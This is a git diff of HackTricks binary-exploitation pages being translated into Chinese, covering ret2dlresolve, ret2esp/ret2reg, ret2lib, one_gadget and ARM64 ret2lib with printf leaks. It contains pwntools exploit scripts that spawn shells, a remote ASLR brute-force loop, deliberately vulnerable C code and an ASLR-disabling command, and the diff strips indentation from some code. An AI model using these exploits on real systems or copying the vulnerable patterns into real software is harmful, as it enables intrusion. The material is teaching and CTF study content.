-2. Set the first argument of system (`$rdi = &'/bin/sh'`)
-3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
-4. **Call** `_dl_runtime_resolve`
-5. **`system`** will be resolved and called with `'/bin/sh'` as argument
-
-From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
+1. 在某个地方写入伪造的结构
+2. 设置 system 的第一个参数 (`$rdi = &'/bin/sh'`)
+3. 在栈上设置调用 **`_dl_runtime_resolve`** 的结构地址
+4. **调用** `_dl_runtime_resolve`
+5. **`system`** 将被解析并以 `'/bin/sh'` 作为参数调用
+根据 [**pwntools 文档**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html),这就是 **`ret2dlresolve`** 攻击的样子:
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
@@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
```
+## 示例
-## Example
-
-### Pure Pwntools
-
-You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
+### 纯 Pwntools
+您可以在[**此处找到此技术的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **包含对最终 ROP 链的非常好的解释**,但这里是使用的最终利用代码:
```python
from pwn import *
@@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
p.interactive()
```
-
-### Raw
-
+### 原始
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
@@ -186,12 +181,11 @@ target.send(paylaod2)
# Enjoy the shell!
target.interactive()
```
-
-## Other Examples & References
+## 其他示例与参考
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- - 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
+- 32位,无relro,无canary,nx,无pie,基本的小缓冲区溢出和返回。为了利用它,bof被用来再次调用`read`,使用一个`.bss`段和更大的大小,将`dlresolve`伪表存储在其中,以加载`system`,返回到main并重新利用初始bof调用dlresolve,然后`system('/bin/sh')`。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
index 868f6ffa5..cac1e234c 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
@@ -4,27 +4,24 @@
## **Ret2esp**
-**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored.
+**因为 ESP(栈指针)始终指向栈的顶部**,该技术涉及用 **`jmp esp`** 或 **`call esp`** 指令的地址替换 EIP(指令指针)。通过这样做,shellcode 被放置在被覆盖的 EIP 之后。当 `ret` 指令执行时,ESP 指向下一个地址,正好是存储 shellcode 的地方。
-If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+如果 **地址空间布局随机化(ASLR)** 在 Windows 或 Linux 中未启用,可以使用在共享库中找到的 `jmp esp` 或 `call esp` 指令。然而,当 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 激活时,可能需要在易受攻击的程序内部查找这些指令(并且可能需要击败 [**PIE**](../common-binary-protections-and-bypasses/pie/))。
-Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
+此外,能够将 shellcode **放置在 EIP 损坏之后**,而不是在栈的中间,确保在函数操作期间执行的任何 `push` 或 `pop` 指令不会干扰 shellcode。如果 shellcode 被放置在函数栈的中间,可能会发生这种干扰。
-### Lacking space
-
-If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
+### 缺乏空间
+如果在覆盖 RIP 后缺乏写入空间(可能只有几个字节),可以写一个初始的 **`jmp`** shellcode,如:
```armasm
sub rsp, 0x30
jmp rsp
```
+在栈的早期写入 shellcode。
-And write the shellcode early in the stack.
-
-### Example
-
-You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
+### 示例
+您可以在 [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) 中找到此技术的示例,最终利用如下:
```python
from pwn import *
@@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
- sub rsp, 10;
- jmp rsp;
+sub rsp, 10;
+jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
-
-You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
-
+您可以在 [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html) 中看到此技术的另一个示例。这里有一个没有启用 NX 的缓冲区溢出,使用了一个 gadget 来 **减少 `$esp` 的地址**,然后使用 `jmp esp;` 跳转到 shellcode:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@@ -81,47 +76,41 @@ target.sendline(payload)
# Drop to an interactive shell
target.interactive()
```
-
## Ret2reg
-Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
+类似地,如果我们知道一个函数返回存储 shellcode 的地址,我们可以利用 **`call eax`** 或 **`jmp eax`** 指令(称为 **ret2eax** 技术),提供另一种执行我们的 shellcode 的方法。就像 eax 一样,**任何其他寄存器** 中包含有趣地址的寄存器都可以使用(**ret2reg**)。
-### Example
+### 示例
-You can find some examples here:
+您可以在这里找到一些示例:
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
- - **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
+- **`strcpy`** 将在 **`eax`** 中存储 shellcode 所在缓冲区的地址,并且 **`eax`** 没有被覆盖,因此可以使用 `ret2eax`。
## ARM64
### Ret2sp
-In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
-
+在 ARM64 中,**没有** 指令允许 **跳转到 SP 寄存器**。可能找到一个 **将 sp 移动到一个寄存器然后跳转到该寄存器** 的 gadget,但在我的 kali 的 libc 中我找不到这样的 gadget:
```bash
for i in `seq 1 30`; do
- ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
+ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```
-
-The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
+我发现的唯一方法是更改在跳转到 sp 之前复制的寄存器的值(这样它就变得无用):
### Ret2reg
-If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
-
+如果一个寄存器有一个有趣的地址,可以通过找到合适的指令跳转到它。你可以使用类似于:
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
+在ARM64中,**`x0`** 存储函数的返回值,因此可能是 x0 存储了一个由用户控制的缓冲区的地址,该缓冲区包含要执行的 shellcode。
-In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
-
-Example code:
-
+示例代码:
```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
@@ -129,34 +118,32 @@ Example code:
#include
void do_stuff(int do_arg){
- if (do_arg == 1)
- __asm__("br x0");
- return;
+if (do_arg == 1)
+__asm__("br x0");
+return;
}
char* vulnerable_function() {
- char buffer[64];
- fgets(buffer, sizeof(buffer)*3, stdin);
- return buffer;
+char buffer[64];
+fgets(buffer, sizeof(buffer)*3, stdin);
+return buffer;
}
int main(int argc, char **argv) {
- char* b = vulnerable_function();
- do_stuff(2)
- return 0;
+char* b = vulnerable_function();
+do_stuff(2)
+return 0;
}
```
-
-Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
+检查函数的反汇编,可以看到**缓冲区的地址**(易受bof攻击且**由用户控制**)在从缓冲区溢出返回之前**存储在`x0`中**:
-It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
+在**`do_stuff`**函数中也可以找到**`br x0`**这个小工具:
-We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
-
+我们将使用这个小工具跳转到它,因为二进制文件是**在没有PIE的情况下编译的**。使用模式可以看到**缓冲区溢出的偏移量是80**,所以利用的方式将是:
```python
from pwn import *
@@ -171,17 +158,16 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
```
-
> [!WARNING]
-> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\
-> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
+> 如果不是使用 `fgets` 而是使用类似 **`read`** 的函数,那么只需 **覆盖返回地址的最后两个字节** 就可以绕过 PIE,返回到 `br x0;` 指令,而无需知道完整地址。\
+> 使用 `fgets` 不行,因为它 **在末尾添加了一个空字节 (0x00)**。
-## Protections
+## 保护措施
-- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register.
+- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 如果栈不可执行,这将无济于事,因为我们需要将 shellcode 放在栈中并跳转执行它。
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): 这些可能会使找到跳转到 esp 或其他寄存器的指令变得更加困难。
-## References
+## 参考文献
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
index c213407d3..467e195d1 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
@@ -2,103 +2,90 @@
{{#include ../../../banners/hacktricks-training.md}}
-## **Basic Information**
+## **基本信息**
-The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
+**Ret2Libc** 的本质是将易受攻击程序的执行流重定向到共享库中的一个函数(例如,**system**、**execve**、**strcpy**),而不是在栈上执行攻击者提供的 shellcode。攻击者构造一个有效载荷,修改栈上的返回地址,使其指向所需的库函数,同时还安排任何必要的参数,以便根据调用约定正确设置。
-### **Example Steps (simplified)**
+### **示例步骤(简化)**
-- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh)
-- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function
+- 获取要调用的函数的地址(例如 system)和要调用的命令(例如 /bin/sh)
+- 生成一个 ROP 链,以传递指向命令字符串的第一个参数,并将执行流传递给该函数
-## Finding the addresses
-
-- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
+## 查找地址
+- 假设使用的 `libc` 是当前机器上的,可以使用以下命令找到它在内存中加载的位置:
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
-
-If you want to check if the ASLR is changing the address of libc you can do:
-
+如果你想检查 ASLR 是否在改变 libc 的地址,你可以执行:
```bash
for i in `seq 0 20`; do ldd ./ | grep libc; done
```
-
-- Knowing the libc used it's also possible to find the offset to the `system` function with:
-
+- 知道使用的libc后,也可以通过以下方式找到`system`函数的偏移:
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
-
-- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
-
+- 知道使用的libc后,也可以找到字符串`/bin/sh`函数的偏移量:
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
+### 使用 gdb-peda / GEF
-### Using gdb-peda / GEF
-
-Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
-
+知道使用的 libc 后,也可以使用 Peda 或 GEF 获取 **system** 函数、**exit** 函数和字符串 **`/bin/sh`** 的地址:
```bash
p system
p exit
find "/bin/sh"
```
+### 使用 /proc/\/maps
-### Using /proc/\/maps
+如果进程在每次与其交互时(网络服务器)都在创建**子进程**,请尝试**读取**该文件(可能需要root权限)。
-If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
-
-Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
+在这里你可以找到**libc加载的确切位置**以及**每个子进程将要加载的位置**。
.png>)
-In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
+在这种情况下,它加载在**0xb75dc000**(这将是libc的基地址)
-## Unknown libc
+## 未知的libc
-It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used:
+可能你**不知道二进制文件加载的libc**(因为它可能位于你无法访问的服务器上)。在这种情况下,你可以利用漏洞**泄露一些地址并找出使用的libc**库:
{{#ref}}
rop-leaking-libc-address/
{{#endref}}
-And you can find a pwntools template for this in:
+你可以在这里找到一个pwntools模板:
{{#ref}}
rop-leaking-libc-address/rop-leaking-libc-template.md
{{#endref}}
-### Know libc with 2 offsets
+### 通过2个偏移量识别libc
-Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**.
+查看页面 [https://libc.blukat.me/](https://libc.blukat.me/) 并使用**几个地址**的函数来找出**使用的版本**。
-## Bypassing ASLR in 32 bits
+## 绕过32位的ASLR
-These brute-forcing attacks are **only useful for 32bit systems**.
-
-- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
+这些暴力攻击**仅对32位系统有用**。
+- 如果利用是本地的,你可以尝试暴力破解libc的基地址(对32位系统有用):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
-
-- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
+- 如果攻击远程服务器,您可以尝试 **暴力破解 `libc` 函数 `usleep` 的地址**,传递参数 10(例如)。如果在某个时刻 **服务器响应多了 10 秒**,您就找到了这个函数的地址。
## One Gadget
-Execute a shell just jumping to **one** specific **address** in libc:
+通过跳转到 **一个** 特定的 **地址** 在 libc 中执行 shell:
{{#ref}}
one-gadget.md
{{#endref}}
-## x86 Ret2lib Code Example
-
-In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
+## x86 Ret2lib 代码示例
+在这个示例中,ASLR 暴力破解集成在代码中,易受攻击的二进制文件位于远程服务器上:
```python
from pwn import *
@@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
- p = ""
- p += p32(off + 0x0003cb20) #system
- p += "CCCC" #GARBAGE, could be address of exit()
- p += p32(off + 0x001388da) #/bin/sh
- payload = 'A'*0x20010 + p
- c.send(payload)
- c.interactive()
+p = ""
+p += p32(off + 0x0003cb20) #system
+p += "CCCC" #GARBAGE, could be address of exit()
+p += p32(off + 0x001388da) #/bin/sh
+payload = 'A'*0x20010 + p
+c.send(payload)
+c.interactive()
```
+## x64 Ret2lib 代码示例
-## x64 Ret2lib Code Example
-
-Check the example from:
+查看示例来自:
{{#ref}}
../
{{#endref}}
-## ARM64 Ret2lib Example
+## ARM64 Ret2lib 示例
-In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
+在 ARM64 的情况下,ret 指令跳转到 x30 寄存器指向的位置,而不是栈寄存器指向的位置。因此,这要复杂一些。
-Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
+此外,在 ARM64 中,一条指令执行其本身的操作(不可能在指令中间跳转并将其转换为新的指令)。
-Check the example from:
+查看示例来自:
{{#ref}}
ret2lib-+-printf-leak-arm64.md
{{#endref}}
-## Ret-into-printf (or puts)
+## Ret-into-printf (或 puts)
-This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**.
+这允许通过调用 `printf`/`puts` 并传入一些特定数据作为参数来**泄露进程中的信息**。例如,将 `puts` 在 GOT 中的地址放入 `puts` 的执行中将**泄露 `puts` 在内存中的地址**。
## Ret2printf
-This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible):
+这基本上意味着滥用 **Ret2lib 将其转变为 `printf` 格式字符串漏洞**,通过使用 `ret2lib` 调用 printf 并传入要利用的值(听起来没用但可能):
{{#ref}}
../../format-strings/
{{#endref}}
-## Other Examples & references
+## 其他示例与参考
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- - Ret2lib, given a leak to the address of a function in libc, using one gadget
+- Ret2lib,给定 libc 中一个函数的地址泄露,使用一个 gadget
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
+- 64 位,启用 ASLR 但没有 PIE,第一步是填充溢出直到 canary 的字节 0x00,然后调用 puts 并泄露它。使用 canary 创建一个 ROP gadget 调用 puts 来泄露 GOT 中 puts 的地址,然后再创建一个 ROP gadget 调用 `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
+- 64 位,启用 ASLR,没有 canary,主函数中的栈溢出来自子函数。ROP gadget 调用 puts 来泄露 GOT 中 puts 的地址,然后调用一个 gadget。
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- - 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.
+- 64 位,没有 pie,没有 canary,没有 relro,nx。使用 write 函数泄露 write(libc)的地址并调用一个 gadget。
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- - Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`.
+- 使用格式字符串从栈中泄露 canary,并通过缓冲区溢出调用 system(它在 GOT 中)并传入 `/bin/sh` 的地址。
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
+- 32 位,没有 relro,没有 canary,nx,pie。滥用错误索引从栈中泄露 libc 和堆的地址。滥用缓冲区溢出进行 ret2lib 调用 `system('/bin/sh')`(需要堆地址以绕过检查)。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md
index 5b24ece5f..73e22ee7f 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md
@@ -2,36 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\
-However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
+[**One Gadget**](https://github.com/david942j/one_gadget) 允许获取一个 shell,而不是使用 **system** 和 **"/bin/sh"**。**One Gadget** 将在 libc 库中找到一些方法来获取一个 shell (`execve("/bin/sh")`),只需一个 **地址**。\
+然而,通常会有一些限制,最常见且容易避免的限制是 `[rsp+0x30] == NULL`。由于你控制 **RSP** 中的值,你只需发送一些额外的 NULL 值,以避免该限制。
.png>)
-
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
-
-To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
+要使用 One Gadget 指定的地址,您需要 **添加 `libc` 加载的基地址**。
> [!TIP]
-> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements).
+> One Gadget 是 **任意写入 2 执行技术** 的 **极大帮助**,并且可能 **简化 ROP** **链**,因为您只需调用一个地址(并满足要求)。
### ARM64
-The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**.
+github 仓库提到 **ARM64 受该工具支持**,但在 Kali 2023.3 的 libc 中运行时 **找不到任何 gadget**。
## Angry Gadget
-From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\
-If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try!
-
+来自 [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget):受 [OneGadget](https://github.com/david942j/one_gadget) 启发,该工具用 python 编写,并使用 [angr](https://github.com/angr/angr) 测试执行 `execve('/bin/sh', NULL, NULL)` 的 gadget 的约束\
+如果您已经用完了 OneGadget 的 gadget,Angry Gadget 提供了更多复杂约束的选择!
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
index a9cfca917..7a7fa973d 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
@@ -2,65 +2,58 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Ret2lib - NX bypass with ROP (no ASLR)
-
+## Ret2lib - NX 绕过与 ROP (无 ASLR)
```c
#include
void bof()
{
- char buf[100];
- printf("\nbof>\n");
- fgets(buf, sizeof(buf)*3, stdin);
+char buf[100];
+printf("\nbof>\n");
+fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
- printfleak();
- bof();
+printfleak();
+bof();
}
```
-
-Compile without canary:
-
+在没有金丝雀的情况下编译:
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
+### 查找偏移量
-### Find offset
+### x30 偏移量
-### x30 offset
-
-Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
+创建一个模式 **`pattern create 200`**,使用它,并通过 **`pattern search $x30`** 检查偏移量,我们可以看到偏移量是 **`108`** (0x6c)。
-Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**:
+查看反汇编的主函数,我们可以看到我们希望 **跳转** 到直接跳转到 **`printf`** 的指令,其从二进制文件加载的位置的偏移量是 **`0x860`**:
-### Find system and `/bin/sh` string
+### 查找 system 和 `/bin/sh` 字符串
-As the ASLR is disabled, the addresses are going to be always the same:
+由于 ASLR 被禁用,地址将始终相同:
-### Find Gadgets
+### 查找 Gadgets
-We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
-
-Using rooper an interesting gadget was found:
+我们需要在 **`x0`** 中放入字符串 **`/bin/sh`** 的地址,并调用 **`system`**。
+使用 rooper 找到了一个有趣的 gadget:
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
-
-This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
+这个小工具将从 **`$sp + 0x18`** 加载 `x0`,然后从 sp 加载地址 x29 和 x30,并跳转到 x30。因此,通过这个小工具,我们可以 **控制第一个参数,然后跳转到 system**。
### Exploit
-
```python
from pwn import *
from time import sleep
@@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
- p.recv()
- p.sendline(payload)
+p.recv()
+p.sendline(payload)
# Ret2main
stack_offset = 108
@@ -90,80 +83,72 @@ p.sendline(payload)
p.interactive()
p.close()
```
-
-## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
-
+## Ret2lib - NX, ASL & PIE 绕过与来自栈的 printf 泄漏
```c
#include
void printfleak()
{
- char buf[100];
- printf("\nPrintf>\n");
- fgets(buf, sizeof(buf), stdin);
- printf(buf);
+char buf[100];
+printf("\nPrintf>\n");
+fgets(buf, sizeof(buf), stdin);
+printf(buf);
}
void bof()
{
- char buf[100];
- printf("\nbof>\n");
- fgets(buf, sizeof(buf)*3, stdin);
+char buf[100];
+printf("\nbof>\n");
+fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
- printfleak();
- bof();
+printfleak();
+bof();
}
```
-
-Compile **without canary**:
-
+编译 **不带 canary**:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
+### PIE 和 ASLR 但没有 canary
-### PIE and ASLR but no canary
+- 第一轮:
+- 从栈中泄露 PIE
+- 利用 bof 返回到 main
+- 第二轮:
+- 从栈中泄露 libc
+- ROP: ret2system
-- Round 1:
